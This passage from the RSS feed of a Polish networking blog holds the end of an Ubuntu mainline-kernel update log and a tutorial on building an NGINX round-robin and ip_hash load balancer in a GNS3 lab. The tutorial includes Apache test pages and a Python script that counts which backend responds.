`linux-headers-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330_amd64.deb.1'</span><br /><br /><span style="color: #000000;">linux-headers-4.15. 100%[===================&gt;] 1,00M 2,64MB/s w 0,4s</span><br /><br /><span style="color: #000000;">2018-01-07 21:21:18 (2,64 MB/s) - zapisano `linux-headers-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330_amd64.deb.1' [1049628/1049628]</span><br /><br /><span style="color: #000000;">--2018-01-07 21:21:18-- http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.15-rc6/linux-image-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330_amd64.deb</span><br /><span style="color: #000000;">Translacja kernel.ubuntu.com (kernel.ubuntu.com)... 91.189.94.216</span><br /><span style="color: #000000;">Łączenie się z kernel.ubuntu.com (kernel.ubuntu.com)|91.189.94.216|:80... połączono.</span><br /><span style="color: #000000;">Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK</span><br /><span style="color: #000000;">Długość: 52230452 (50M) [application/x-debian-package]</span><br /><span style="color: #000000;">Zapis do: `linux-image-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330_amd64.deb.1'</span><br /><br /><span style="color: #000000;">linux-image-4.15.0- 100%[===================&gt;] 49,81M 6,34MB/s w 7,9s</span><br /><br /><span style="color: #000000;">2018-01-07 21:21:26 (6,27 MB/s) - zapisano `linux-image-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330_amd64.deb.1' [52230452/52230452]</span><br /><br /><strong><span style="color: #0000ff;">Kernel packages downloaded successfully!!!</span></strong><br /><br /><strong><span style="color: #0000ff;">Proceed with install Y/n: Y</span></strong><br /><span style="color: #000000;">Wybieranie wcześniej niewybranego pakietu linux-headers-4.15.0-041500rc6-generic.</span><br /><span style="color: #000000;">(Odczytywanie bazy danych ... 69135 plików i katalogów obecnie zainstalowanych.)</span><br /><span style="color: #000000;">Przygotowywanie do rozpakowania pakietu linux-headers-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330_amd64.deb ...</span><br /><span style="color: #000000;">Rozpakowywanie pakietu linux-headers-4.15.0-041500rc6-generic (4.15.0-041500rc6.201712312330) ...</span><br /><span style="color: #000000;">Wybieranie wcześniej niewybranego pakietu linux-headers-4.15.0-041500rc6.</span><br /><span style="color: #000000;">Przygotowywanie do rozpakowania pakietu linux-headers-4.15.0-041500rc6_4.15.0-041500rc6.201712312330_all.deb ...</span><br /><span style="color: #000000;">Rozpakowywanie pakietu linux-headers-4.15.0-041500rc6 (4.15.0-041500rc6.201712312330) ...</span><br /><span style="color: #000000;">Wybieranie wcześniej niewybranego pakietu linux-image-4.15.0-041500rc6-generic.</span><br /><span style="color: #000000;">Przygotowywanie do rozpakowania pakietu linux-image-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330_amd64.deb ...</span><br /><span style="color: #000000;">Done.</span><br /><span style="color: #000000;">Rozpakowywanie pakietu linux-image-4.15.0-041500rc6-generic (4.15.0-041500rc6.201712312330) ...</span><br /><span style="color: #000000;">Konfigurowanie pakietu linux-headers-4.15.0-041500rc6 (4.15.0-041500rc6.201712312330) ...</span><br /><span style="color: #000000;">Konfigurowanie pakietu linux-image-4.15.0-041500rc6-generic (4.15.0-041500rc6.201712312330) ...</span><br /><span style="color: #000000;">Running depmod.</span><br /><span style="color: #000000;">update-initramfs: deferring update (hook will be called later)</span><br /><span style="color: #000000;">Examining /etc/kernel/postinst.d.</span><br /><span style="color: #000000;">run-parts: executing /etc/kernel/postinst.d/apt-auto-removal 4.15.0-041500rc6-generic /boot/vmlinuz-4.15.0-041500rc6-generic</span><br /><span style="color: #000000;">run-parts: executing /etc/kernel/postinst.d/initramfs-tools 4.15.0-041500rc6-generic /boot/vmlinuz-4.15.0-041500rc6-generic</span><br /><span style="color: #000000;">update-initramfs: Generating /boot/initrd.img-4.15.0-041500rc6-generic</span><br /><span style="color: #000000;">run-parts: executing /etc/kernel/postinst.d/zz-update-grub 4.15.0-041500rc6-generic /boot/vmlinuz-4.15.0-041500rc6-generic</span><br /><span style="color: #000000;">Generowanie pliku konfiguracyjnego GRUB-a...</span><br /><span style="color: #000000;">Uwaga: Ustawienie GRUB_TIMEOUT na wartość niezerową przy ustawionym GRUB_HIDDEN_TIMEOUT nie jest już obsługiwane.</span><br /><span style="color: #000000;">Znaleziono obraz Linuksa: /boot/vmlinuz-4.15.0-041500rc6-generic</span><br /><span style="color: #000000;">Znaleziono obraz initrd: /boot/initrd.img-4.15.0-041500rc6-generic</span><br /><span style="color: #000000;">Znaleziono obraz Linuksa: /boot/vmlinuz-4.13.0-21-generic</span><br /><span style="color: #000000;">Znaleziono obraz initrd: /boot/initrd.img-4.13.0-21-generic</span><br /><span style="color: #000000;">gotowe</span><br /><span style="color: #000000;">Konfigurowanie pakietu linux-headers-4.15.0-041500rc6-generic (4.15.0-041500rc6.201712312330) ...</span><br /><strong><span style="color: #0000ff;">Installation successfull</span></strong><br /><br /><span style="color: #0000ff;"><strong>Proceed with reboot Y/n: Y</strong></span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/ubuntu-aktualizacja-jadra-na-szybko/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Load Balancing z NGINX</title>
		<link>https://kubsoo.github.io/rsnet-website/load-balancing-z-nginx/</link>
		<comments>https://kubsoo.github.io/rsnet-website/load-balancing-z-nginx/#respond</comments>
		<pubDate>Sun, 03 Dec 2017 20:40:24 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[loadbalancing]]></category>
		<category><![CDATA[nginx]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=731</guid>
		<description><![CDATA[Wstęp Load balancing &#8211; czyli równoważenie obciążenia jest powszechnie stosowaną techniką optymalizacji wykorzystania zasobów, maksymalizowania przepustowości, zmniejszania opóźnień i zapewnienia odpornych na awarię konfiguracji. Możliwe jest wykorzystanie nginx jako bardzo&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-731">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="10b4c5b" class="elementor-element elementor-element-10b4c5b elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="9393295" class="elementor-element elementor-element-9393295 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="e0ada42" class="elementor-element elementor-element-e0ada42 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">Wstęp</span></h5><p style="text-align: justify;"><span style="color: #000000;">Load balancing &#8211; czyli równoważenie obciążenia jest powszechnie stosowaną techniką optymalizacji wykorzystania zasobów, maksymalizowania przepustowości, zmniejszania opóźnień i zapewnienia odpornych na awarię konfiguracji. Możliwe jest wykorzystanie nginx jako bardzo wydajnego HTTP Load Balancer&#8217;a do dystrybuowania ruchu do kilku serwerów aplikacji w celu poprawienia wydajności, skalowalności i niezawodności aplikacji internetowych.</span></p><p style="text-align: justify;"><span style="color: #000000;">W poniższym wpisie pokażę jak w łatwy sposób można zbudować Load Balancer HTTP na systemie Linux wykorzystując oprogramowanie</span> <a href="https://nginx.org/en/" title="">NGINX</a>. </p><p style="text-align: justify;"><span style="color: #000000;">Załóżmy że mamy w sieci trzy serwery web, które posiadają kopię tej samej strony WWW. Chcemy dla tych serwerów zastosować równoważenie obciążenia przy pomocy oprogramowania nginx. Najprostszą metodą równoważenia obciążenia w nginx jest round-robin. Round-robin to algorytm karuzelowy, który działa w następujący sposób. </span></p><p style="text-align: justify;"><span style="color: #000000;">Pierwszy użytkownik, który chce uzyskać dostęp do strony WWW zostaje odesłany do adresu IP serwera pierwszego, drugi użytkownik zostaje odesłany do adresu IP drugiego serwera, trzeci użytkownik zostaje odesłany do adresu IP trzeciego serwera, czwarty użytkownik zostaje odesłany do adresu IP pierwszego serwera itd.</span></p><p> </p><h5><span style="color: #000000;">Przykład</span></h5><p style="text-align: justify;"><span style="color: #000000;">Do pokazania przykładu posłużę się topologią zbudowaną w GNS3 przy użyciu maszyn wirtualnych z Ubuntu, które spełniają następujące funkcje:</span></p><p style="text-align: justify;"><span style="color: #000000;">(WEB01, WEB02, WEB03) &#8211; serwery web na których postawiony jest apache, jako serwer www</span></p><p style="text-align: justify;"><span style="color: #000000;"> LoadBalancer, czyli serwer, który będzie realizował równoważenie obciążania przy pomocy oprogramowania nginx</span></p><p><span style="color: #000000;">Client &#8211; klient, który będzie próbował otwierać stronę WWW.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="9094330" class="elementor-element elementor-element-9094330 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="9e98c5b" class="elementor-element elementor-element-9e98c5b elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="a31d1f5" class="elementor-element elementor-element-a31d1f5 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology2.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title="">
							<img width="461" height="464" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology2.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology2.png 461w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology2-150x150.png 150w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology2-298x300.png 298w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology2-160x160.png 160w" sizes="(max-width: 461px) 100vw, 461px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="0bd1e05" class="elementor-element elementor-element-0bd1e05 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="c978f03" class="elementor-element elementor-element-c978f03 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="36e6d62" class="elementor-element elementor-element-36e6d62 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Skonfigurujmy powyższą topologię w następujący sposób:</span></p><p style="text-align: justify;"><span style="color: #000000;">WEB01  &#8211; ip 192.168.0.101/24</span></p><p style="text-align: justify;"><span style="color: #000000;">WEB02 &#8211; ip 192.168.0.102/24</span></p><p style="text-align: justify;"><span style="color: #000000;">WEB03 &#8211; ip 192.168.0.103/24</span></p><p style="text-align: justify;"><span style="color: #000000;">CLIENT &#8211; ip 192.168.0.230/24</span></p><p style="text-align: justify;"><span style="color: #000000;">LoadBalancer &#8211; ip 192.168.0.100/24</span></p><p style="text-align: justify;"><span style="color: #000000;">Na serwerach www mamy postawionego apache&#8217;a, zmieńmy na nich index.html w następujący sposób:</span></p><p style="text-align: justify;"><span style="color: #000000;">Na WEB01 (var/www/html/index.html)</span></p><pre><span style="color: #000000;">&lt;html&gt;</span><br /><span style="color: #000000;">&lt;head&gt;</span><br /><span style="color: #000000;">&lt;/head&gt;</span><br /><span style="color: #000000;">&lt;body&gt;</span><br /><span style="color: #000000;">&lt;h1&gt;To jest strona na serwerze WEB01&lt;/h1&gt;</span><br /><span style="color: #000000;">&lt;/body&gt;</span><br /><span style="color: #000000;">&lt;/html&gt;</span></pre><p style="text-align: justify;"><span style="color: #000000;">Na WEB02 (var/www/html/index.html)</span></p><pre style="text-align: justify;"><span style="color: #000000;">&lt;html&gt;</span><br /><span style="color: #000000;">&lt;head&gt;</span><br /><span style="color: #000000;">&lt;/head&gt;</span><br /><span style="color: #000000;">&lt;body&gt;</span><br /><span style="color: #000000;">&lt;h1&gt;To jest strona na serwerze WEB02&lt;/h1&gt;</span><br /><span style="color: #000000;">&lt;/body&gt;</span><br /><span style="color: #000000;">&lt;/html&gt;</span></pre><p style="text-align: justify;"><span style="color: #000000;">Na WEB03 (var/www/html/index.html)</span></p><pre style="text-align: justify;"><span style="color: #000000;">&lt;html&gt;</span><br /><span style="color: #000000;">&lt;head&gt;</span><br /><span style="color: #000000;">&lt;/head&gt;</span><br /><span style="color: #000000;">&lt;body&gt;</span><br /><span style="color: #000000;">&lt;h1&gt;To jest strona na serwerze WEB02&lt;/h1&gt;</span><br /><span style="color: #000000;">&lt;/body&gt;</span><br /><span style="color: #000000;">&lt;/html&gt;</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="36b5946" class="elementor-element elementor-element-36b5946 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="4653da3" class="elementor-element elementor-element-4653da3 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="c99021b" class="elementor-element elementor-element-c99021b elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Sprawdźmy teraz na kliencie jak wygląda strona na każdym z serwerów WEB.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="1e42998" class="elementor-element elementor-element-1e42998 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="2eb1b10" class="elementor-element elementor-element-2eb1b10 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="760932e" class="elementor-element elementor-element-760932e elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web01.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-1" data-rl_title="" data-rl_caption="" title="">
							<img width="659" height="128" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web01.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web01.png 659w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web01-300x58.png 300w" sizes="(max-width: 659px) 100vw, 659px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="7bebe12" class="elementor-element elementor-element-7bebe12 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="8e43f69" class="elementor-element elementor-element-8e43f69 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="b33a2a9" class="elementor-element elementor-element-b33a2a9 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web02.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-2" data-rl_title="" data-rl_caption="" title="">
							<img width="620" height="110" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web02.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web02.png 620w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web02-300x53.png 300w" sizes="(max-width: 620px) 100vw, 620px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="8609c98" class="elementor-element elementor-element-8609c98 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="59a47eb" class="elementor-element elementor-element-59a47eb elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="d4ee3ed" class="elementor-element elementor-element-d4ee3ed elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web03.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-3" data-rl_title="" data-rl_caption="" title="">
							<img width="624" height="120" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web03.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web03.png 624w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web03-300x58.png 300w" sizes="(max-width: 624px) 100vw, 624px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="cfa3719" class="elementor-element elementor-element-cfa3719 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="8c1151e" class="elementor-element elementor-element-8c1151e elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="622f833" class="elementor-element elementor-element-622f833 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Dla celów przykładu na każdym z serwerów jest inna zawartość strony www, w rzeczywistej instalacji zawartość strony powinna być taka sama. Dzięki czemu każdy użytkownik nie zależnie do którego serwera zostanie odesłany otrzyma ten sam kontent.</span></p><p style="text-align: justify;"><span style="color: #000000;"> </span></p><h5>Konfiguracja NGINX</h5><p style="text-align: justify;"><span style="color: #000000;">Teraz skonfigurujmy serwer LoadBalancer, który ma adres IP 192.168.0.100. Wchodzimy do pliku konfiguracyjnego /etc/nginx/nginx.conf w sekcji http przed # Basic Settings:</span></p><pre><span style="color: #000000;">http {</span><br /><br /><span style="color: #000000;">    <strong>upstream myweb {</strong></span><br /><strong><span style="color: #000000;">       server 192.168.0.101;</span></strong><br /><strong><span style="color: #000000;">       server 192.168.0.102;</span></strong><br /><strong><span style="color: #000000;">       server 192.168.0.103;</span></strong><br /><strong><span style="color: #000000;">    }</span></strong><br /><br /><strong><span style="color: #000000;">    server {</span></strong><br /><strong><span style="color: #000000;">        listen 80;</span></strong><br /><strong><span style="color: #000000;">         location / {</span></strong><br /><strong><span style="color: #000000;">            proxy_pass http://myweb;/</span></strong><br /><strong><span style="color: #000000;">        }</span></strong><br /><span style="color: #000000;"><strong>    }</strong></span><br /><br />##<br /># Basic Settings<br />##</pre><p style="text-align: justify;"><span style="color: #000000;">W sekcji upstream podajemy dowolną nazwę, a następnie listę serwerów (w moim przypadku są to adresy IP serwerów WEB01, WEB02 i WEB03.</span></p><p style="text-align: justify;"><span style="color: #000000;">Zapisujemy zmiany i restartujemy serwer nginx (/etc/init.d/nginx restart). Zostaje jeszcze jedna rzecz do zrobienia, a mianowicie należy usunąć dowiązanie symboliczne wskazującę na stronę domyślną nginx: </span></p><pre style="text-align: justify;"><span style="color: #000000;">rm /etc/nginx/sites-enabled/default</span></pre><p><span style="color: #000000;">To wszystko. Nasz LoadBalancer dziala.</span></p><p><span style="color: #000000;"> </span></p><h5><span style="color: #000000;">Weryfikacja</span></h5><p style="text-align: justify;"><span style="color: #000000;">Wróćmy teraz na klienta i otwórzmy przeglądarkę wpisując adres naszego LoadBalancera 192.168.0.100. Wyświetli się strona pierwszego serwera (WEB01):</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="09c750c" class="elementor-element elementor-element-09c750c elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="3df7ae3" class="elementor-element elementor-element-3df7ae3 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="d394dd8" class="elementor-element elementor-element-d394dd8 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web011.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-4" data-rl_title="" data-rl_caption="" title="">
							<img width="609" height="120" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web011.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web011.png 609w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web011-300x59.png 300w" sizes="(max-width: 609px) 100vw, 609px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="f171085" class="elementor-element elementor-element-f171085 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="df918c3" class="elementor-element elementor-element-df918c3 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="4e785da" class="elementor-element elementor-element-4e785da elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Odświeżmy stronę i otrzymamy stronę z drugiego serwera (WEB02):</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="14151b4" class="elementor-element elementor-element-14151b4 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="6d59598" class="elementor-element elementor-element-6d59598 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="5f53b38" class="elementor-element elementor-element-5f53b38 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web022.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-5" data-rl_title="" data-rl_caption="" title="">
							<img width="617" height="101" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web022.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web022.png 617w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web022-300x49.png 300w" sizes="(max-width: 617px) 100vw, 617px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="2a4b237" class="elementor-element elementor-element-2a4b237 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="06b51cb" class="elementor-element elementor-element-06b51cb elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="dfd7ace" class="elementor-element elementor-element-dfd7ace elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Load Balancer działa prawidłowo. Następne odświeżenie strony wyświetli nam stronę z WEB03, kolejne z WEB01 itd. Możemy to sprawdzić pisząc prosty skrypt Python, który otworzy stronę 100 razy i sprawdzi z którego serwera jest ona wyświetlana a następnie wyświetli ile razy z danego serwera została wyświetlona strona.</span></p><p style="text-align: justify;"><span style="color: #000000;"> </span></p><h5 style="text-align: justify;"><span style="color: #000000;">Skrypt</span></h5><p style="text-align: justify;"><span style="color: #000000;">Do połączenia się ze stroną wykorzystam bibliotekę requests i funkcję get. Stronę można otworzyć stosując następujące polecenia:</span></p><pre><span style="color: #000000;">&gt;&gt;&gt;import requests</span><br /><span style="color: #000000;">&gt;&gt;&gt;r=requests.get('http://192.168.0.100/')</span><br /><span style="color: #000000;">&gt;&gt;&gt;r.text<br />u'&lt;html&gt;\n&lt;head&gt;\n&lt;/head&gt;\n&lt;body&gt;\n\n&lt;h1&gt;To jest strona na serwerze WEB02&lt;/h1&gt;\n\n&lt;/body&gt;\n&lt;/html&gt;\n\n'</span></pre><p style="text-align: justify;"><span style="color: #000000;">W wyniku otrzymałem zawartość strony, teraz skorzystam z wyrażeń regularnych i modułu re i przeszukam zawartość wyniku po wyrażeniu regularnym ‚WEB\d\d’, które zwróci tekst pasujący do tego wyrażenia, czyli WEBXX, gdzie XX to dowolne cyfry. A następnie to dopasowanie zapisywane będzie do tablicy, przy każdym otworzeniu strony. Potem z tej tablicy będą brane elementy i porównywane z WEB01, WEB02 i WEB03. Jak będzie dopasowanie to będzie się powiększany o 1 licznik dla każdego dopasowania. W konsekwencji dostaniemy 3 wyniki dla każdego web serwera, czyli informację jak często była otwierana dana strona.</span></p><p><span style="color: #000000;">Cały skrypt wygląda następująco:</span></p><pre><span style="color: #000000;">import re, requests</span><br /><span style="color: #000000;">regex = re.compile(r'(WEB\d\d)')</span><br /><span style="color: #000000;">l = []</span><br /><br /><span style="color: #000000;">for i in range(1,101):</span><br /><span style="color: #000000;">        r = requests.get("http://192.168.0.100/")</span><br /><span style="color: #000000;">        l.append(regex.findall(r.text)[0])</span><br /><br /><span style="color: #000000;">a=b=c=0</span><br /><br /><span style="color: #000000;">for i in l:</span><br /><span style="color: #000000;">        if i == 'WEB01':</span><br /><span style="color: #000000;">                a = a+1</span><br /><span style="color: #000000;">        if i == 'WEB02':</span><br /><span style="color: #000000;">                b = b+1</span><br /><span style="color: #000000;">        if i == 'WEB03':</span><br /><span style="color: #000000;">                c = c+1</span><br /><br /><span style="color: #000000;">print ('WEB01: '+str(a))</span><br /><span style="color: #000000;">print ('WEB02: '+str(b))</span><br /><span style="color: #000000;">print ('WEB03: '+str(c))</span></pre><div><span style="color: #000000;">Odpalmy teraz na kliencie nasz skrypt:</span></div><pre><span style="color: #000000;"><span style="background-color: initial; white-space: pre-wrap;">root@CLIENT:~# python skrypt.py<br /></span>WEB01: 33</span><br /><span style="color: #000000;">WEB02: 34</span><br /><span style="color: #000000;">WEB03: 33</span></pre><div style="text-align: justify;"><span style="color: #000000;">Jak widać algorytm round robin działa tak jak powinien, czyli odsyła do każdego serwera tyle samo razy. Nginx posiada również inne metody równoważenia obciążenia. Sprawdźmy drugą metodę ip-hash. Ip-hash sprawdza IP adres klienta i na tej podstawie zwraca serwer, dzięki temu, jeśli ten sam klient będzie otwierał stronę, to nie będzie za każdym żądaniem GET dostawał zawartości z innego serwera. Dopiszmy więc do konfiguracji linijkę ip_hash;</span></div><pre><span style="color: #000000;">http {</span><br /><br /> <span style="color: #000000;">    upstream myweb {<br />     <strong>ip_hash;</strong></span><br /><span style="color: #000000;">     server 192.168.0.101;</span><br /><span style="color: #000000;">     server 192.168.0.102;</span><br /><span style="color: #000000;">     server 192.168.0.103;</span><br /><span style="color: #000000;">    }</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="c29548d" class="elementor-element elementor-element-c29548d elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="373695a" class="elementor-element elementor-element-373695a elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="f9be6f6" class="elementor-element elementor-element-f9be6f6 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
